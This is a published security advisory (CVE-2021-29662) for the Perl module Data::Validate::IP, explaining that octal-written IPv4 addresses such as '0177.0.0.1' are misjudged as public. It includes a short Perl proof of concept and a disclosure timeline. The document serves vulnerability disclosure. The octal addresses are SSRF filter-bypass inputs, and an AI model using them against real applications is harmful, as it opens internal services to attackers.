

master

...

security / advisories / SICK-2021-018.md

sickcodes [CVE-2021-29662] 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N ✓ History

2 contributors

148 lines (102 sloc) 6.54 KB

Title

Perl module Data::Validate::IP - Improper Input Validation of octal literals in Perl Data::Validate::IP v0.29 and below results in indeterminate SSRF & RFI vulnerabilities.

CVE ID

CVE-2021-29662

CVSS Score

7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Internal ID

SICK-2021-018

Vendor

Perl (houseabsolute)

Product

Perl distribution Data-Validate-IP

Product Versions

0.29 and below

Vulnerability Details

Improper input validation of octal strings in Perl's Data::Validate::IP module allows remote unauthenticated attackers to perform indeterminate SSRF, RFI, and LFI attacks on many Perl applications that rely on Data::Validate::IP is_private_ipv4() to validate if an IPv4 address is within a private range or not. For example, an attacker can submit the input IP '012.0.0.1', which should be private (012 is 10 in decimal). However, the module returns a false negative result, resulting in a vector for SSRF, LFI, or RFI bypass techniques. As a further example, 0254.16.0.1 should be evaluated as 172.16.0.1, which is private, yet the module returns the incorrect response (false - public). An attacker submitting an IP address to a web or local application which relies on Data::Validate::IP to validate input IP addresses are either private OR public will be able to bypass the validation provided by this module, resulting in a wide range of attack surfaces on dependencies of Perl's Data::Validate::IP.

Vendor Response

Patched

Proof of Concept

```
<!-- // Authors:      sickcodes, Kelly Kaoudis -->
<!-- // License:      GPLv3+ -->

use Data::Validate::IP;

my $answer = " is private according to is_private_ipv4? ";

sub is_private {
    return is_private_ipv4($_[0]) ? "true" : "false";
}

my $dec_ip_string = '10.0.0.1';
my $is_private = is_private($dec_ip_string);
print "\n10.0.0.1 should be private";
print "\ninput: " . $dec_ip_string . $answer . $is_private . "\n";

my $oct_ip_string = '012.0.0.1';
my $is_oct_private = is_private($oct_ip_string);
print "\n" . $oct_ip_string . " should be private (012 is 10 in decimal)";
print "\ninput: " . $oct_ip_string . $answer . $is_oct_private . "\n";

my $oct_ip_string1 = '010.0.0.1';
my $is_oct_private1 = is_private($oct_ip_string1);
```

```

print "\n" . $oct_ip_string1 . " should not be private (010 is 8 in decimal)";
print "\ninput: " . $oct_ip_string1 . $answer . $is_oct_private1 . "\n";

my $dec_ip_string1 = '172.16.0.1';
my $is_private1 = is_private($dec_ip_string1);
print "\n" . $dec_ip_string1 . " should be private";
print "\ninput: " . $dec_ip_string1 . $answer . $is_private1 . "\n";

my $oct_ip_string2 = '0172.16.0.1';
my $is_oct_private2 = is_private($oct_ip_string2);
print "\n" . $oct_ip_string2 . " should not be private (0172 is 122)";
print "\ninput: " . $oct_ip_string2 . $answer . $is_oct_private2 . "\n";

my $oct_ip_string3 = '0254.16.0.1';
my $is_oct_private3 = is_private($oct_ip_string3);
print "\n" . $oct_ip_string3 . " should be private (0254 is 172)";
print "\ninput: " . $oct_ip_string3 . $answer . $is_oct_private3 . "\n";

my $dec_ip_string_2 = '192.168.0.1';
my $is_private2 = is_private($dec_ip_string_2);
print "\n" . $dec_ip_string_2 . " should be private";
print "\ninput: " . $dec_ip_string_2 . $answer . $is_private2 . "\n";

my $oct_ip_string4 = '0192.168.0.1';
my $is_oct_private4 = is_private($oct_ip_string4);
print "\n" . $oct_ip_string4 . " should be private (0192 in octal is 192 in decimal)";
print "\ninput: " . $oct_ip_string4 . $answer . $is_oct_private4 . "\n";

# for the following, c.f. https://github.com/frenchbread/private-ip/pull/2
my $oct_ip_string5 = '0000.0000.0000.0000';
my $is_oct_private5 = is_private($oct_ip_string5);
print "\n" . $oct_ip_string5 . " should be considered private, but is not";
print "\ninput: " . $oct_ip_string5 . $answer . $is_oct_private5 . "\n";

my $dec_ip_string_3 = '127.0.0.1';
my $is_private3 = is_private($dec_ip_string_3);
print "\n" . $dec_ip_string_3 . " should be considered private, but is not";
print "\ninput: " . $dec_ip_string_3 . $answer . $is_private3 . "\n";

my $oct_ip_string6 = '0127.0.0.1';
my $is_oct_private6 = is_private($oct_ip_string6);
print "\n" . $oct_ip_string6 . " should not be considered private (0127 in octal is 87 in decimal)";
print "\ninput: " . $oct_ip_string6 . $answer . $is_oct_private6 . "\n";

my $oct_ip_string7 = '0177.0.0.1';
my $is_oct_private7 = is_private($oct_ip_string7);
print "\n" . $oct_ip_string7 . " should be considered private, but is not (0177 is 127 in decimal)";
print "\ninput: " . $oct_ip_string7 . $answer . $is_oct_private7 . "\n";

```

Disclosure Timeline

- 2021-03-29 - Vendor patches similar vulnerability
- 2021-03-29 - Researchers discover additional bypasses
- 2021-03-29 - Vendor notified
- 2021-03-29 - CVE requested
- 2021-03-31 - CVE assigned CVE-2021-29662
- 2021-03-31 - CVE published

Links

<https://github.com/houseabsolute/Data-Validate-IP/commit/3bba13c819d616514a75e089badd75002fd4f14e>

<https://github.com/houseabsolute/Data-Validate-IP>

<https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-018.md>

<https://sick.codes/sick-2021-018>

Researchers

Dave Rolsky: <https://github.com/houseabsolute/>

Victor Viale: <https://github.com/koroeskohr> || <https://twitter.com/koroeskohr>

Sick Codes: <https://github.com/sickcodes> || <https://twitter.com/sickcodes>

Kelly Kaoudis: <https://github.com/kaoudis> || <https://twitter.com/kaoudis>

John Jackson <https://www.twitter.com/johnjhacking>

Nick Sahler: <https://github.com/nicksahler> || https://twitter.com/tensor_bodega

Olivier Poitrey <https://github.com/rs> || https://twitter.com/olivier_poitrey

CVE Links

<https://sick.codes/sick-2021-018>

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29662>

<https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-29662>